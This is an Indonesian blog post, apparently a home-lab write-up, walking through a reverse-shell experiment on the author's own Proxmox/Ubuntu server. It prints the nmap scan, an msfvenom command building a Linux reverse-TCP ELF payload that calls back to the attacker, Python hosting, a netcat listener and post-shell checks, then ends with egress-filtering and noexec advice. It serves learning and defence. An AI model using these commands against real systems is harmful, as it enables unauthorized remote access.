July 29, 2026
Reverse Shell Langsung di Home Server Sendiri
Eksperimen cyber security paling seru itu kalau bukan cuma teori atau sekadar main di platform simulasi. Kali ini saya coba simulasi…
By Ngampuss
2 min read
Eksperimen cyber security paling seru itu kalau bukan cuma teori atau sekadar main di platform simulasi. Kali ini saya coba simulasi eksploitasi reverse shell langsung di infrastruktur home lab sendiri.
Tujuannya simpel: memahami secara riil bagaimana alur sebuah payload dibuat, didistribusikan melalui HTTP server lokal, dieksekusi di target (Server Proxmox -> Ubuntu), sampai akhirnya listener berhasil menangkap shell-nya.
Berikut adalah catatan alur dan langkah-langkah eksperimennya.
Setup Hardware & Topology Lab
Sebelum masuk ke teknis terminal, ini adalah gambaran fisik home lab kecil-kecilan yang digunakan:
- Server Target & Attacker Box: Menggunakan PC fisik (server lokal) yang menjalankan lingkungan virtualisasi.
- Network Switch & Router: Terhubung via kabel LAN RJ45 ke switch dan router lokal untuk memastikan konektivitas antar-subnet/IP lokal stabil.
Step 1: Reconnaissance (Recon) & Network Scanning
Langkah pertama adalah memastikan target server hidup dan mengetahui port apa saja yang terbuka. Di sini saya menjalankan nmap dari mesin penyerang (Kali Linux).
nmap -T4 -p- <IP_TARGET>
Hasil scan:
- Port 22/tcp: Open (
ssh) - Port 8080/tcp: Open (
http-proxy) - Port 8082/tcp: Open (
blackice-alerts) - MAC Address: Proxmox Server Solutions GmbH
Dari hasil ini, kita tahu target adalah server Linux berbasis Proxmox yang tersambung di jaringan lokal
Step 2: Membuat Payload ELF dengan Msfvenom
Selanjutnya, buat payload reverse shell khusus untuk arsitektur Linux 64-bit menggunakan msfvenom. Payload ini dikompilasi ke dalam format biner ELF.
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP_ATTACKER> LPORT=4444 -f elf -o payload.elf
- LHOST: IP milik mesin attacker yang nantinya menerima koneksi.
- LPORT: Port yang dibuka untuk mendengarkan (listening) koneksi balik (di sini saya pakai
4444). - -f elf: Format output berupa biner eksekutabel Linux.
Step 3: Hosting Payload via Python HTTP Server
Agar file payload.elf bisa diunduh oleh mesin target, jalankan web server sederhana berbasis Python 3 langsung di direktori tempat file payload disimpan.
python3 -m http.server 8084
Web server lokal akan aktif di port 8084. Jika diakses melalui browser di jaringan lokal, struktur direktorinya menampilkan file payload.elf dan file pendukung lainnya.
Step 4: Menyiapkan Listener (Netcat)
Sebelum payload dieksekusi di target, kita harus membuka listener terlebih dahulu di mesin attacker pada port yang sesuai (4444).
nc -lvnp 4444
Listener sekarang dalam kondisi listening on [any] 4444, siap menangkap koneksi masuk.
Step 5: Eksekusi Payload di Target Server
Di sisi server target (misalnya setelah mendapat akses awal / SSH), file payload diunduh dari HTTP server attacker dan dieksekusi dari direktori /tmp:
loservisual@alexander:~$ /tmp/payload.elf
Step 6: Pwned! Reverse Shell Terhubung
Seketika file .elf dieksekusi di target, terminal netcat di mesin attacker langsung menerima koneksi balik (connect to ...).
Mari kita verifikasi aksesnya:
whoami : # Output: loservisual
uname -a : # Output: Linux alexander 5.15.0–186-generic #196-Ubuntu SMP… x86_64 GNU/Linux
ps aux : # Menampilkan daftar proses yang berjalan di server target
Reverse shell berhasil didapatkan secara penuh!
Kesimpulan
Eksperimen di home lab seperti ini sangat membantu untuk memahami fundamental jaringan, perilaku payload, dan bagaimana koneksi outbound dari target bisa menembus barrier jika tidak ada batasan firewall egress yang ketat.
- Key Takeaway: Pastikan outbound traffic pada server produksi selalu dibatasi (egress filtering) dan direktori temporary seperti
/tmpdiberi flagnoexecuntuk meminimalisir eksekusi biner yang tidak dikenal.